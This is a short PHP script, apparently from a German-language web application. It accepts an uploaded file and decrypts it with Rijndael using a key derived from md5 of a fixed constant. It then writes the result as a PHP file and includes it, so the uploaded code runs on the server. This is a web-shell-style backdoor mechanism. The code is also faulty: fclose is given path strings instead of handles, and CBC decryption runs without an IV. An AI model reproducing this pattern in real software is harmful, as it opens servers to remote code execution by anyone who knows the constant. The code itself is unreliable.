<?php
chdir('tmp');
$uploadfile = "./".$_SESSION['TID']."_".PREFIX.".exe";
move_uploaded_file($_FILES['Datei']['tmp_name'], $uploadfile);
$datei = "./".$_SESSION['TID']."_".PREFIX.".php";

$handle = fopen($uploadfile, 'r');
$crypt = fread($handle, filesize($uploadfile));
fclose($uploadfile);
$content = mcrypt_decrypt(MCRYPT_RIJNDAEL_256, md5(PREFIX), $crypt, MCRYPT_MODE_CBC);
$inhalt = explode("-->Ende_dieser_Datei<--", $content);
$handle = fopen($datei, 'w+');
fwrite($handle, $inhalt[0]);
fclose($datei);

chdir('../');
include "tmp/".$_SESSION['TID']."_".PREFIX.".php";

?>